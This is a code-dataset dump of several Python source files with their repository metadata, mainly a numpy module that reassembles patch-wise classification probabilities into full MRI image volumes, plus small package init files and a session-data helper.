] | 8 | 2022-01-07T09:41:02.000Z | 2022-03-22T12:33:07.000Z | TrekBot2_WS/devel/.private/tf/lib/python3/dist-packages/tf/msg/__init__.py | Rafcin/TrekBot | d3dc63e6c16a040b16170f143556ef358018b7da | [
"Unlicense"
] | 22 | 2021-12-15T02:15:27.000Z | 2022-03-30T08:37:22.000Z | from ._tfMessage import *
| 13 | 25 | 0.769231 | 3 | 26 | 6.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d11cde1995ed0cf8ea82930dd163a7fe454d4e79 | 40 | py | Python | ma_gym/envs/predator_prey/__init__.py | prasuchit/ma-gym | 1b2e76452f3e124aa2b049a78fc4f9eaa383e986 | [
"Apache-2.0"
] | 310 | 2019-08-17T21:27:36.000Z | 2022-03-28T16:47:21.000Z | ma_gym/envs/predator_prey/__init__.py | prasuchit/ma-gym | 1b2e76452f3e124aa2b049a78fc4f9eaa383e986 | [
"Apache-2.0"
] | 26 | 2019-08-25T16:31:56.000Z | 2022-03-31T17:50:30.000Z | ma_gym/envs/predator_prey/__init__.py | nekoaruku/ma-gym | 1c94623571cb81298e8515c99fef70a2fee5df3d | [
"Apache-2.0"
] | 63 | 2019-08-20T11:59:24.000Z | 2022-03-06T17:35:50.000Z | from .predator_prey import PredatorPrey
| 20 | 39 | 0.875 | 5 | 40 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 40 | 1 | 40 | 40 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d149839be1a315d62f5aa6fcb77c05b54d52e019 | 28 | py | Python | src/main.py | pythonmcpi/Flask-HTTP | 0e606fb30133ca0c0ec22c182a806cbd9e20178f | [
"MIT"
] | null | null | null | src/main.py | pythonmcpi/Flask-HTTP | 0e606fb30133ca0c0ec22c182a806cbd9e20178f | [
"MIT"
] | null | null | null | src/main.py | pythonmcpi/Flask-HTTP | 0e606fb30133ca0c0ec22c182a806cbd9e20178f | [
"MIT"
] | null | null | null | #!/bin/python3
import flask
| 9.333333 | 14 | 0.75 | 4 | 28 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0.107143 | 28 | 2 | 15 | 14 | 0.8 | 0.464286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d1757f641f3e2d18ed312334a5c2e0d476e06225 | 529 | py | Python | Lib/site-packages/django_mysql/models/fields/__init__.py | pavanmaganti9/djangoapp | d6210386af89af9dae6397176a26a8fcd588d3b4 | [
"bzip2-1.0.6"
] | null | null | null | Lib/site-packages/django_mysql/models/fields/__init__.py | pavanmaganti9/djangoapp | d6210386af89af9dae6397176a26a8fcd588d3b4 | [
"bzip2-1.0.6"
] | 12 | 2020-02-12T03:04:12.000Z | 2022-02-10T08:54:59.000Z | Lib/site-packages/django_mysql/models/fields/__init__.py | pavanmaganti9/djangoapp | d6210386af89af9dae6397176a26a8fcd588d3b4 | [
"bzip2-1.0.6"
] | null | null | null | from django_mysql.models.fields.bit import Bit1BooleanField, NullBit1BooleanField # noqa
from django_mysql.models.fields.dynamic import DynamicField # noqa
from django_mysql.models.fields.enum import EnumField # noqa
from django_mysql.models.fields.json import JSONField # noqa
from django_mysql.models.fields.lists import ListCharField, ListTextField # noqa
from django_mysql.models.fields.sets import SetCharField, SetTextField # noqa
from django_mysql.models.fields.sizes import SizedBinaryField, SizedTextField # noqa
| 66.125 | 89 | 0.839319 | 67 | 529 | 6.522388 | 0.373134 | 0.160183 | 0.240275 | 0.336384 | 0.487414 | 0.425629 | 0 | 0 | 0 | 0 | 0 | 0.004202 | 0.100189 | 529 | 7 | 90 | 75.571429 | 0.913866 | 0.064272 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0f15b65a8d1d1980b154b977a08f0e5119be4ecd | 177 | py | Python | modis/products.py | whistler/modis-util | 045084745f0893d750b0c2e18a14e7cb35aa70e5 | [
"MIT"
] | 2 | 2018-03-27T06:36:24.000Z | 2018-03-27T06:36:24.000Z | modis/products.py | whistler/modis-util | 045084745f0893d750b0c2e18a14e7cb35aa70e5 | [
"MIT"
] | null | null | null | modis/products.py | whistler/modis-util | 045084745f0893d750b0c2e18a14e7cb35aa70e5 | [
"MIT"
] | null | null | null | """
List of MODIS products available on AWS
"""
MCD43A4_006="MCD43A4.006"
MOD09GA_006="MOD09GA.006"
MYD09GA_006="MYD09GA.006"
MOD09GQ_006="MYD09GA.006"
MYD09GQ_006="MYD09GA.006" | 22.125 | 39 | 0.779661 | 27 | 177 | 4.925926 | 0.481481 | 0.300752 | 0.390977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.317073 | 0.073446 | 177 | 8 | 40 | 22.125 | 0.493902 | 0.220339 | 0 | 0 | 0 | 0 | 0.419847 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0f38a2e433490f80a1790b28921861d41d33f687 | 183 | py | Python | KudamonoDriver/SessionData.py | Jonathan339/Kudamono | bca0d1318497dc18ee40877a260d059acc5a45bc | [
"Apache-2.0"
] | 2 | 2018-07-24T22:16:17.000Z | 2018-08-22T23:48:38.000Z | KudamonoDriver/SessionData.py | Jonathan339/Kudamono | bca0d1318497dc18ee40877a260d059acc5a45bc | [
"Apache-2.0"
] | 1 | 2018-07-02T00:02:55.000Z | 2018-07-02T00:02:55.000Z | KudamonoDriver/SessionData.py | Jonathan339/Kudamono | bca0d1318497dc18ee40877a260d059acc5a45bc | [
"Apache-2.0"
] | 3 | 2018-07-05T09:15:16.000Z | 2018-11-18T11:55:37.000Z | import json
class SessionData():
def __init__(self,session):
self.session = session
def get_session_id(self,session):
return json.loads(session)['sessionId']
| 22.875 | 47 | 0.68306 | 22 | 183 | 5.409091 | 0.590909 | 0.277311 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.20765 | 183 | 7 | 48 | 26.142857 | 0.82069 | 0 | 0 | 0 | 0 | 0 | 0.049451 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0.166667 | 0.833333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
7e56146589bb4fe9ea0e67ceda73fcbaf5500702 | 163 | py | Python | stanfordnlp/__init__.py | zpf19980128/stanfordnlp | 696a6870000f91d76b5b42d3ed7821ba70d55560 | [
"Apache-2.0"
] | 1 | 2019-02-26T08:50:09.000Z | 2019-02-26T08:50:09.000Z | stanfordnlp/__init__.py | zpf19980128/stanfordnlp | 696a6870000f91d76b5b42d3ed7821ba70d55560 | [
"Apache-2.0"
] | null | null | null | stanfordnlp/__init__.py | zpf19980128/stanfordnlp | 696a6870000f91d76b5b42d3ed7821ba70d55560 | [
"Apache-2.0"
] | null | null | null | from stanfordnlp.pipeline.core import Pipeline
from stanfordnlp.pipeline.doc import Document
from stanfordnlp.utils.resources import download
__version__='0.1.1'
| 27.166667 | 48 | 0.846626 | 22 | 163 | 6.090909 | 0.590909 | 0.335821 | 0.343284 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020134 | 0.08589 | 163 | 5 | 49 | 32.6 | 0.879195 | 0 | 0 | 0 | 0 | 0 | 0.030675 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7e9d343b0b3e8ab4d47f213221b944bd5c27395f | 21,953 | py | Python | utils/Unpatching.py | so2liu/CNNArt | 9d91bf08a044e7d5068f8446663726411d2236dd | [
"Apache-2.0"
] | null | null | null | utils/Unpatching.py | so2liu/CNNArt | 9d91bf08a044e7d5068f8446663726411d2236dd | [
"Apache-2.0"
] | null | null | null | utils/Unpatching.py | so2liu/CNNArt | 9d91bf08a044e7d5068f8446663726411d2236dd | [
"Apache-2.0"
] | null | null | null | import numpy as np
import math
#########################################################################################################################################
#Function: fUnpatch2D #
#The function fUnpatch2D has the task to reconstruct the probability-images. Every patch contains the probability of every class. #
#To visualize the probabilities it is important to reconstruct the probability-images. This function is used for 2D patching. # #
#Input: prob_list ---> list of probabilities of every Patch. The column describes the classes, the row describes the probability of #
# every class #
# patchSize ---> size of patches, example: [40, 40, 10], patchSize[0] = height, patchSize[1] = weight, patchSize[2] = depth #
# patchOverlap ---> the ratio for overlapping, example: 0.25 # #
# actualSize ---> the actual size of the chosen mrt-layer: example: ab, t1_tse_tra_Kopf_0002; actual size = [256, 196, 40] #
# iClass ---> the number of the class, example: ref = 0, artefact = 1 #
#Output: unpatchImg ---> 3D-Numpy-Array, which contains the probability of every image pixel. #
#########################################################################################################################################
def fUnpatch2D(prob_list, patchSize, patchOverlap, actualSize, iClass):
iCorner = [0, 0, 0]
dOverlap = np.round(np.multiply(patchSize, patchOverlap))
dNotOverlap = [patchSize[0] - dOverlap[0], patchSize[1] - dOverlap[1]]
paddedSize = [int(math.ceil((actualSize[0] - dOverlap[0]) / (dNotOverlap[0])) * dNotOverlap[0] + dOverlap[
0]), int(math.ceil((actualSize[1] - dOverlap[1]) / (dNotOverlap[1])) * dNotOverlap[1] + dOverlap[1]), actualSize[2]]
unpatchImg = np.zeros((paddedSize[0], paddedSize[1], paddedSize[2]))
print(unpatchImg.shape)
numVal = np.zeros((paddedSize[0], paddedSize[1], paddedSize[2]))
for iIndex in range(0, prob_list.shape[0], 1):
print(iIndex)
lMask = np.zeros((paddedSize[0], paddedSize[1], paddedSize[2]))
lMask[iCorner[0]: iCorner[0] + int(patchSize[0]), iCorner[1]: iCorner[1] + int(patchSize[1]), iCorner[2]] = 1
unpatchImg[iCorner[0]: iCorner[0] + int(patchSize[0]), iCorner[1]: iCorner[1] + int(patchSize[1]), iCorner[2]] = np.add(unpatchImg[iCorner[0]: iCorner[0] + int(patchSize[0]), iCorner[1]: iCorner[1] + int(patchSize[1]), iCorner[2]], prob_list[iIndex,iClass])
lMask = lMask == 1
numVal[lMask] = numVal[lMask] + 1
iCorner[0] =int(iCorner[0]+dNotOverlap[0])
if iCorner[0] + patchSize[0] - 1 > paddedSize[0]:
iCorner[0] = 0
iCorner[1] = int(iCorner[1] + dNotOverlap[1])
if iCorner[1] + patchSize[1] - 1 > paddedSize[1]:
iCorner[1] = 0
iCorner[0] = 0
iCorner[2] = iCorner[2] + 1
unpatchImg = np.divide(unpatchImg, numVal)
if paddedSize == actualSize:
pass
else:
pad_y = (paddedSize[0]-actualSize[0])/2
pad_x = (paddedSize[1]-actualSize[1])/2
unpatchImg = unpatchImg[pad_y:paddedSize[0] - (paddedSize[0]-actualSize[0]-pad_y), pad_x:paddedSize[1] - (paddedSize[1]-actualSize[1]-pad_x), : ]
return unpatchImg
#########################################################################################################################################
#Function: fUnpatch3D #
#The function fUnpatch3D has the task to reconstruct the probability-images. Every patch contains the probability of every class. #
#To visualize the probabilities it is inportant to reconstruct the probability-images. This function is used for 3D patching. # #
#Input: prob_list ---> list of probabilities of every Patch. The column describes the classes, the row describes the probability of #
# every class #
# patchSize ---> size of patches, example: [40, 40, 10], patchSize[0] = height, patchSize[1] = weight, patchSize[2] = depth #
# patchOverlap ---> the ratio for overlapping, example: 0.25 # #
# actualSize ---> the actual size of the chosen mrt-layer: example: ab, t1_tse_tra_Kopf_0002; actual size = [256, 196, 40] #
# iClass ---> the number of the class, example: ref = 0, artefact = 1 #
#Output: unpatchImg ---> 3D-Numpy-Array, which contains the probability of every image pixel. #
#########################################################################################################################################
def fUnpatch3D(prob_list, patchSize, patchOverlap, actualSize, iClass):
iCorner = [0, 0, 0]
dOverlap = np.round(np.multiply(patchSize, patchOverlap))
dNotOverlap = [patchSize[0] - dOverlap[0], patchSize[1] - dOverlap[1], patchSize[2] - dOverlap[2]]
paddedSize = [int(math.ceil((actualSize[0] - dOverlap[0]) / (dNotOverlap[0])) * dNotOverlap[0] + dOverlap[
0]), int(math.ceil((actualSize[1] - dOverlap[1]) / (dNotOverlap[1])) * dNotOverlap[1] + dOverlap[1]),
int(math.ceil((actualSize[2] - dOverlap[2]) / (dNotOverlap[2])) * dNotOverlap[2] + dOverlap[2])]
unpatchImg = np.zeros((paddedSize[0], paddedSize[1], paddedSize[2]))
numVal = np.zeros((paddedSize[0], paddedSize[1], paddedSize[2]))
for iIndex in range(0, prob_list.shape[0], 1):
print(iIndex)
lMask = np.zeros((paddedSize[0], paddedSize[1], paddedSize[2]))
lMask[iCorner[0]: iCorner[0] + patchSize[0], iCorner[1]: iCorner[1] + patchSize[1], iCorner[2]: iCorner[2] + patchSize[2]] = 1
unpatchImg[iCorner[0]: iCorner[0] + patchSize[0], iCorner[1]: iCorner[1] + patchSize[1], iCorner[2]: iCorner[2] + patchSize[2]] = np.add(unpatchImg[iCorner[0]: iCorner[0] + patchSize[0], iCorner[1]: iCorner[1] + patchSize[1], iCorner[2]: iCorner[2] + patchSize[2]], prob_list[iIndex,iClass])
lMask = lMask == 1
numVal[lMask] = numVal[lMask] + 1
iCorner[0] =int(iCorner[0]+dNotOverlap[0])
if iCorner[0] + patchSize[0] - 1 > paddedSize[0]:
iCorner[0] = 0
iCorner[1] = int(iCorner[1] + dNotOverlap[1])
if iCorner[1] + patchSize[1] - 1 > paddedSize[1]:
iCorner[1] = 0
iCorner[0] = 0
iCorner[2] = int(iCorner[2] + dNotOverlap[2])
unpatchImg = np.divide(unpatchImg, numVal)
if paddedSize == actualSize:
pass
else:
pad_y = (paddedSize[0]-actualSize[0])/2
pad_x = (paddedSize[1]-actualSize[1])/2
pad_z = (paddedSize[2]-actualSize[2])/2
unpatchImg = unpatchImg[pad_y:paddedSize[0] - (paddedSize[0]-actualSize[0]-pad_y), pad_x:paddedSize[1] - (paddedSize[1]-actualSize[1]-pad_x), pad_z:paddedSize[2] - (paddedSize[2]-actualSize[2]-pad_z) ]
return unpatchImg
# rigid unpatching
def fRigidUnpatching(PatchSize, PatchOverlap, dImg, prob_test):
dActSize = np.round(PatchOverlap * PatchSize)
iPadSize_x = math.ceil(dImg.shape[1] / dActSize[1]) * dActSize[1]
iPadSize_y = math.ceil(dImg.shape[0] / dActSize[0]) * dActSize[0]
iPadCut_x = iPadSize_x - dImg.shape[1]
iPadCut_y = iPadSize_y - dImg.shape[0]
dOverlay = np.zeros((int(iPadSize_y), int(iPadSize_x), dImg.shape[2]))
x_max = int(2*iPadSize_x / PatchSize[0])
y_max = int(2*iPadSize_y / PatchSize[1])
x_index = x_max - 1
y_index = y_max - 1
patch_nmb_lay = x_index*y_index
for iZ in range(0,dImg.shape[2], 1):
for iX in range(0, x_max, 1):
for iY in range(0, y_max, 1):
if iX == 0 and iY == 0 or iX == x_index and iY == y_index or iX == x_index and iY == 0 or iX == 0 and iY == y_index:
num_1 = get_first_index(iX, iY, iZ, patch_nmb_lay, x_index, y_index)
dOverlay[iY * dActSize[0]:iY * dActSize[0] + dActSize[0],
iX * dActSize[1]:iX * dActSize[1] + dActSize[1], iZ] = prob_test[num_1]
elif (iX == 0 or iX == x_index) and 0 < iY < y_index:
num_1 = get_first_index(iX, iY, iZ, patch_nmb_lay, x_index, y_index)
num_2 = num_1 - 1
dOverlay[iY * dActSize[0]:iY * dActSize[0] + dActSize[0],
iX * dActSize[1]:iX * dActSize[1] + dActSize[1], iZ] = (prob_test[num_1] + prob_test[num_2]) / 2
elif (iY == 0 or iY == y_index) and 0 < iX < x_index:
num_1 = get_first_index(iX, iY, iZ, patch_nmb_lay, x_index, y_index)
num_2 = num_1 - y_index
dOverlay[iY * dActSize[0]:iY * dActSize[0] + dActSize[0],
iX * dActSize[1]:iX * dActSize[1] + dActSize[1], iZ] = (prob_test[num_1] + prob_test[num_2]) / 2
else:
num_1 = get_first_index(iX, iY, iZ, patch_nmb_lay, x_index, y_index)
num_2 = num_1 - 1
num_3 = num_1 - y_index
num_4 = num_2 - y_index
dOverlay[iY * dActSize[0]:iY * dActSize[0] + dActSize[0],
iX * dActSize[1]:iX * dActSize[1] + dActSize[1], iZ] = (prob_test[num_1] + prob_test[num_2] + prob_test[
num_3] + prob_test[num_4]) / 4
dOverlay = dOverlay[iPadCut_y / 2:iPadSize_y - iPadCut_y / 2, iPadCut_x / 2:iPadSize_x - iPadCut_x / 2, :]
return dOverlay
def get_first_index(iX, iY, iZ, patch_nmb_layer, x_index, y_index):
num = iZ*patch_nmb_layer + iX * y_index + iY
if iY == y_index and not iX == x_index:
num = num - 1
elif iX == x_index and not iY == y_index:
num = num - y_index
elif iX == x_index and iY == y_index:
num = num - y_index - 1
return num
def fRigidUnpatchingCorrection2D(actual_size, allPatches, patchOverlap, mode='overwritten'):
patch_size = [allPatches.shape[1], allPatches.shape[2]]
height, width = actual_size[0], actual_size[1]
dOverlap = np.multiply(patch_size, patchOverlap).astype(int)
dNotOverlap = np.round(np.multiply(patch_size, (1 - patchOverlap))).astype(int)
height_pad = int(math.ceil((height - dOverlap[0]) * 1.0 / (dNotOverlap[0])) * dNotOverlap[0] + dOverlap[0])
width_pad = int(math.ceil((width - dOverlap[1]) * 1.0 / (dNotOverlap[1])) * dNotOverlap[1] + dOverlap[1])
num_rows = int(math.ceil((height_pad-patch_size[0])*1.0/dNotOverlap[0])+1)
num_cols = int(math.ceil((width_pad-patch_size[1])*1.0/dNotOverlap[1])+1)
num_slices = allPatches.shape[0]/(num_rows * num_cols)
allPatches = np.reshape(allPatches, (num_slices, -1, patch_size[0], patch_size[1]))
unpatchImg = np.zeros((num_slices, height_pad, width_pad))
dividor_grid = np.zeros((num_slices, height_pad, width_pad))
if mode == 'overwritten':
for slice in range(num_slices):
for row in range(num_rows):
for col in range(num_cols):
index = row * num_cols + col
unpatchImg[slice, row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0], col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]] = allPatches[slice, index]
elif mode == 'average':
for slice in range(num_slices):
for row in range(num_rows):
for col in range(num_cols):
index = row * num_cols + col
unpatchImg[slice, row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0], col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]] += allPatches[slice, index]
dividor_grid[slice, row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0], col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]] = np.add(
dividor_grid[slice, row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0], col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]], 1.0)
unpatchImg = np.divide(unpatchImg, dividor_grid)
unpatchImg_cropped = unpatchImg[:, (height_pad - height) / 2: height_pad - (height_pad - height) / 2,
(width_pad - width) / 2: width_pad - (width_pad - width) / 2]
unpatchImg_cropped = (unpatchImg_cropped + 1) * 255 / 2
return unpatchImg_cropped
def fRigidUnpatchingCorrection3D(actual_size, allPatches, patchOverlap, mode='overwritten'):
patch_size = [allPatches.shape[1], allPatches.shape[2], allPatches.shape[3]]
height, width, depth = actual_size[0], actual_size[1], actual_size[2]
dOverlap = np.multiply(patch_size, patchOverlap).astype(int)
dNotOverlap = np.ceil(np.multiply(patch_size, (1 - patchOverlap))).astype(int)
height_pad = int(math.ceil((height - dOverlap[0]) * 1.0 / (dNotOverlap[0])) * dNotOverlap[0] + dOverlap[0])
width_pad = int(math.ceil((width - dOverlap[1]) * 1.0 / (dNotOverlap[1])) * dNotOverlap[1] + dOverlap[1])
depth_pad = int(math.ceil((depth - dOverlap[2]) * 1.0 / (dNotOverlap[2])) * dNotOverlap[2] + dOverlap[2])
num_rows = int(math.ceil((height_pad-patch_size[0])*1.0/dNotOverlap[0])+1)
num_cols = int(math.ceil((width_pad-patch_size[1])*1.0/dNotOverlap[1])+1)
num_slices = int(math.ceil((depth_pad-patch_size[2])*1.0/dNotOverlap[2])+1)
unpatchImg = np.zeros((depth_pad, height_pad, width_pad))
dividor_grid = np.zeros((depth_pad, height_pad, width_pad))
allPatches = np.transpose(allPatches, (0, 3, 1, 2))
allPatches = np.reshape(allPatches, (num_slices, -1, patch_size[2], patch_size[0], patch_size[1]))
if mode == 'overwritten':
for slice in range(num_slices):
for row in range(num_rows):
for col in range(num_cols):
index = row * num_cols + col
unpatchImg[slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2],
row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0],
col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]] = allPatches[slice, index]
elif mode == 'average':
for slice in range(num_slices):
for row in range(num_rows):
for col in range(num_cols):
index = row * num_cols + col
unpatchImg[slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2],
row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0],
col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]] += allPatches[slice, index]
dividor_grid[slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2], row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0],col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]] = \
np.add(dividor_grid[slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2], row * dNotOverlap[0]:row * dNotOverlap[0] + patch_size[0],col * dNotOverlap[1]:col * dNotOverlap[1] + patch_size[1]], 1)
unpatchImg = np.divide(unpatchImg, dividor_grid)
unpatchImg_cropped = unpatchImg[(depth_pad - depth)/2:depth_pad - (depth_pad - depth)/2,
(height_pad - height) / 2: height_pad - (height_pad - height) / 2,
(width_pad - width) / 2: width_pad - (width_pad - width) / 2]
unpatchImg_cropped = (unpatchImg_cropped - np.min(unpatchImg_cropped)) * 2094 / (np.max(unpatchImg_cropped) - np.min(unpatchImg_cropped))
return unpatchImg_cropped
def fPatchToImage(actual_size, allPatches, patchOverlap):
patch_size = [allPatches.shape[-3], allPatches.shape[-2], allPatches.shape[-1]]
dOverlap = np.multiply(patch_size, patchOverlap).astype(int)
dNotOverlap = np.round(np.multiply(patch_size, (1 - patchOverlap))).astype(int)
height, width, depth = actual_size[1], actual_size[0], actual_size[2]
width_pad = int(math.ceil((width - dOverlap[0]) * 1.0 / (dNotOverlap[0])) * dNotOverlap[0] + dOverlap[0])
height_pad = int(math.ceil((height - dOverlap[1]) * 1.0 / (dNotOverlap[1])) * dNotOverlap[1] + dOverlap[1])
depth_pad = int(math.ceil((depth - dOverlap[2]) * 1.0 / (dNotOverlap[2])) * dNotOverlap[2] + dOverlap[2])
num_rows, num_cols, num_slices = int(math.ceil((height_pad - patch_size[1]) * 1.0 / dNotOverlap[1]) + 1), int(
math.ceil((width_pad - patch_size[0]) * 1.0 / dNotOverlap[0]) + 1), int(
math.ceil((depth_pad - patch_size[2]) * 1.0 / dNotOverlap[2]) + 1)
num_4a = allPatches.shape[0] / (num_rows * num_cols * num_slices)
allPatches = np.reshape(allPatches, (num_4a, -1, patch_size[0], patch_size[1], patch_size[2]))
unpatchImg = np.zeros((num_4a, width_pad, height_pad, depth_pad))
dividor_grid = np.zeros((num_4a, width_pad, height_pad, depth_pad))
for i4a in range(num_4a):
for slice in range(num_slices):
for col in range(num_cols):
for row in range(num_rows):
index = slice * num_cols * num_rows + col * num_rows + row
unpatchImg[i4a, col * dNotOverlap[0]:col * dNotOverlap[0] + patch_size[0], row * dNotOverlap[1]:row * dNotOverlap[1] + patch_size[1], slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2]] += allPatches[i4a, index]
dividor_grid[i4a, col * dNotOverlap[0]:col * dNotOverlap[0] + patch_size[0], row * dNotOverlap[1]:row * dNotOverlap[1] + patch_size[1], slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2]] = np.add(
dividor_grid[i4a, col * dNotOverlap[0]:col * dNotOverlap[0] + patch_size[0], row * dNotOverlap[1]:row * dNotOverlap[1] + patch_size[1], slice * dNotOverlap[2]:slice * dNotOverlap[2] + patch_size[2]], 1.0)
unpatchImg = np.divide(unpatchImg, dividor_grid)
unpatchImg_cropped = unpatchImg[:,(width_pad - width) / 2: width_pad - (width_pad - width) / 2, (height_pad - height) / 2: height_pad - (height_pad - height) / 2, (depth_pad - depth) / 2: depth_pad - (depth_pad - depth) / 2]
return unpatchImg_cropped
def fUnpatchLabel(prob_list, patchSize, patchOverlap, actualSize, iClass=0):
# If iClass=0: the value 0 is the label of reference image, and show the possibility of Artifact at the same time
# If iClass=1, the first half unpatchImg[0] is label of image with artifact, the rest unpatchImg[1] for reference images
dOverlap = np.multiply(patchSize, patchOverlap).astype(int)
# dNotOverlap = np.round(np.multiply(patchSize, (1 - patchOverlap))).astype(int)
dNotOverlap = np.subtract(patchSize, dOverlap)
paddedSize = [int(math.ceil((actualSize[0] - dOverlap[0]) * 1.0/ dNotOverlap[0]) * dNotOverlap[0] + dOverlap[0]), int(math.ceil((actualSize[1] - dOverlap[1]) * 1.0/ (dNotOverlap[1])) * dNotOverlap[1] + dOverlap[1]), int(math.ceil((actualSize[2] - dOverlap[2]) * 1.0/ (dNotOverlap[2])) * dNotOverlap[2] + dOverlap[2])]
num_rows, num_cols, num_slices = int(math.ceil((paddedSize[1] - patchSize[1]) * 1.0 / dNotOverlap[1]) + 1), int(
math.ceil((paddedSize[0] - patchSize[0]) * 1.0 / dNotOverlap[0]) + 1), int(
math.ceil((paddedSize[2] - patchSize[2]) * 1.0 / dNotOverlap[2]) + 1)
num_4a = prob_list.shape[0] / (num_rows * num_cols * num_slices)
prob_list = np.reshape(prob_list, (num_4a, -1, 2))
unpatchImg = np.zeros((num_4a, paddedSize[0], paddedSize[1], paddedSize[2]))
numVal = np.zeros((num_4a, paddedSize[0], paddedSize[1], paddedSize[2]))
for i4a in range(num_4a):
iCorner = [iClass, 0, 0, 0]
for iIndex in range(prob_list.shape[1]):
unpatchImg[i4a, iCorner[1]: iCorner[1] + patchSize[0], iCorner[2]: iCorner[2] + patchSize[1], iCorner[3]: iCorner[3] + patchSize[2]] = np.add(unpatchImg[i4a, iCorner[1]: iCorner[1] + patchSize[0], iCorner[2]: iCorner[2] + patchSize[1], iCorner[3]: iCorner[3] + patchSize[2]], prob_list[i4a, iIndex, iClass])
numVal[i4a, iCorner[1]: iCorner[1] + patchSize[0], iCorner[2]: iCorner[2] + patchSize[1], iCorner[3]: iCorner[3] + patchSize[2]] = np.add(
numVal[i4a, iCorner[1]: iCorner[1] + patchSize[0], iCorner[2]: iCorner[2] + patchSize[1], iCorner[3]: iCorner[3] + patchSize[2]], 1.0)
iCorner[1] =int(iCorner[1]+dNotOverlap[0])
if iCorner[1] + patchSize[0] - 1 > paddedSize[0]:
iCorner[1] = 0
iCorner[2] = int(iCorner[2] + dNotOverlap[1])
if iCorner[2] + patchSize[1] - 1 > paddedSize[1]:
iCorner[2] = 0
iCorner[1] = 0
iCorner[3] = int(iCorner[3] + dNotOverlap[2])
unpatchImg = np.divide(unpatchImg, numVal)
if paddedSize == actualSize:
pass
else:
pad_y = (paddedSize[0]-actualSize[0])/2
pad_x = (paddedSize[1]-actualSize[1])/2
